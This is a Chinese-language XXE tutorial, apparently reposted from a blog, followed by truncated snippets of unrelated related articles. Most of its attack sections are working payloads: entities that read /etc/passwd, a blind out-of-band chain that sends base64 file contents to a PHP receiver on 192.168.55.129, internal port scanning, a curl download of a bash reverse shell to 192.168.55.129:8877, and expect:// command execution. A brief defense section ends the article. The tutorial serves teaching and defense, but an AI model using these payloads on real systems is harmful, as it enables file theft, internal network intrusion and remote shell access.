实战讲解XXE漏洞的利用与防御策略

现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确。当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击。本期“安仔课堂”,ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御。

 

一、XML基础知识 

XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<?xml version="1.0"?>

<!DOCTYPE note [

<!ELEMENT note (to,from,heading,body)>

<!ELEMENT to      (#PCDATA)>

<!ELEMENT from    (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body    (#PCDATA)>]>

<note>

<to>George</to>

<from>John</from>

<heading>Reminder</heading>

<body>Don‘t forget the meeting!</body>

</note>

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

内部声明DTD:<!DOCTYPE 根元素 [元素声明]>;

引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">;

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体:<!ENTITY 实体名称 "实体的值">;

引用外部实体:<!ENTITY 实体名称 SYSTEM "URI">。

 二、XML外部实体  

使用XML主要是为了使两个采用不同技术的系统可以通过XML进行通信和交换数据。而有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或远程的内容。比如,下面的XML文档样例就包含了XML“实体”:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

在上面的代码中,XML外部实体“XXE”被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体“XXE”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器,“XXE”实体的值将从其后的URI中读取。

 三、XML外部实体攻击

当XML允许引用外部实体,关键字“SYSTEM”会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。

简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器,对外部实体有不同的处理规则。

在PHP中默认处理的函数为xml_parse和simplexml_load,xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java、Python等处理XML的组件及函数中,都可能存在此问题。

如何判断是否存在XML外部实体攻击?那就是寻找那些接受XML作为输入内容的端点,而有些端点可能并不是那么明显,比如一些仅使用JSON去访问服务的客户端,可以通过修改HTTP的请求或修改Content-Type头部字段等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,那么就可能存在XXE攻击漏洞。

四、XXE漏洞测试  

借助XXE,攻击者可以实现任意文件读取,DDOS拒绝服务攻击以及代理扫描内网等。

1.任意文件读取漏洞测试

当有回显时,直接利用payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "file://etc/passwd" >]>

<root>

<name>&XXE;</name>

</root>

可以进行任意文件读取文件: 

图1

当无回显时,引用远程服务器上的XML文件读取文件:

将以下get.php,1.xml保存到自己的WEB服务器下

get.php:

<?php

$xml=$_GET[‘xml‘];

$base=base64_decode($xml);

file_put_contents(‘data.txt‘, $base);

?>

1.xml:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">

%int;

%trick;

直接发送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

就能读取任意文件并把数据保存到本地的data.txt文件里:

图2

 

2.探测内网端口和网站

有回显时,直接发送payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&XXE;</name>

</root>

端口存在时会返回页面报错信息:

图3

端口不存在时,返回无法连接的报错信息:

图4

无回显时,修改1.xml文件,把file协议修改为需要扫描的IP:

<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">

<!ENTITY % int "<!ENTITY % trick SYSTEM ‘http://192.168.55.129/get.php?xml=%payload;‘>">

%int;

%trick;

直接发送payload:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">

%remote;]>

<root/>

当端口存在web页面,也可获得内网网站的的页面源代码:

图5

3.攻击内网网站

若内网网站存在命令执行漏洞时:

将以下bash.txt保存至自己的WEB服务器下:

bash.txt:

bash -i >& /dev/tcp/192.168.55.129/8877 0>&1

发送以下payload获取bash.txt文件:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>

<root>

<name>&XXE;</name>

</root>

图6

在本机监听一个端口:

图7

发送一下payload,获得反弹shellcode命令:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>

<root>

<name>&XXE;</name>

</root>

图8

4.执行系统命令

若安装expect扩展的PHP环境里还可以直接执行系统命令,其他协议也有可能可以执行系统命令。

直接执行payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE XXE [

<!ELEMENT name ANY >

<!ENTITY XXE SYSTEM "expect://id" >]>

<root>

<name>&XXE;</name>

</root>

 

五、防御XXE攻击

防御XXE攻击主要有三方面:一是检查所使用的底层XML解析库,默认禁止外部实体的解析二是若使用第三方应用代码需要及时升级补丁;三是对用户提交的XML数据进行过滤,关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。

原文地址:https://www.cnblogs.com/pshell/p/8602560.html

时间: 2024-11-05 23:19:14

实战讲解XXE漏洞的利用与防御策略的相关文章

听补天漏洞审核专家实战讲解XXE漏洞

对于将"挖洞"作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity Injection),是一种容易被忽视,但危害巨大的漏洞.它是一种隐蔽并且经常被忽视的漏洞,可以利用XML外部实体加载注入,执行不可预控的代码. 据补天数据统计,每100个漏洞里,有0.5个是XXE.XXE漏洞虽然数量不多,却每个都是一种漏洞的经典案例!<文末有彩蛋> 1.X

Rsync未授权访问漏洞的利用和防御

首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/rsync.conf) 这一项read only表示只读,如果这一项为no,我们就具有写权限了. 如果这边有个PHP的站,如果写个一句话,后果大家都懂得. 当然,有些时候也可以读取到一些信息,这样可以造成敏感信息泄露. Rsync未授权访问漏洞的修复(或者说防御.缓解措施) 配置文件解析: 配置文件位

CSRF漏洞分析利用及防御

0x00 简要介绍 CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无 token/refer 限制,导致攻击者可以以用户的身份完成操作达到各种目的.根据HTTP请求方式,CSRF利用方式可分为两种 0x01 GET类型的CSRF 这种类型的CSRF一般是由于程序员安全意思不强造成的.GET类型的CSRF利用非常简单,只需要构造一个HTTP请求, 一般会这样利用: <img src="http://a.ioio.pub:8000/users/pay?

XXE漏洞攻击与防御

转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. 文档结构 XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. <!--XML声明--> <?xml version=&qu

Redis漏洞利用与防御

Redis漏洞利用与防御 simeon Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描.控制.感染以及用来进行挖矿.勒索等恶意行为,早期网上曾经分析过一篇文章"通过redis感染linux版本勒索病毒的服务器"(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至r

[Web安全] XXE漏洞攻防学习(中)

0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进行抓包,点击Any bugs?按钮,抓包如下: 可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据. 既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击 获取系统密码文件 payload: <?xml ver

3. XML实体注入漏洞的利用与学习

XML实体注入漏洞的利用与学习 前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题.在XML1.0标准里,XML文档结构里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了"污染"源,在对XML文档处理后则可能导致信息泄漏等安全问题 漏洞利用 当允许引用外部实体时,通过构造恶意内容,可导

[WEB安全]XXE漏洞总结

0x00 XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. 0x01 XML文档结构XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素. <!--XML申明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note

XXE漏洞复现步骤

0X00XXE注入定义 XXE注入,即XML External Entity,XML外部实体注入.通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据.所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它.当引用外部实体时,通过构造恶意内容,可导致读取任意文件.执行系统命令.探测内网端口.攻击内网网站等危害. 0X01漏洞原理 既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在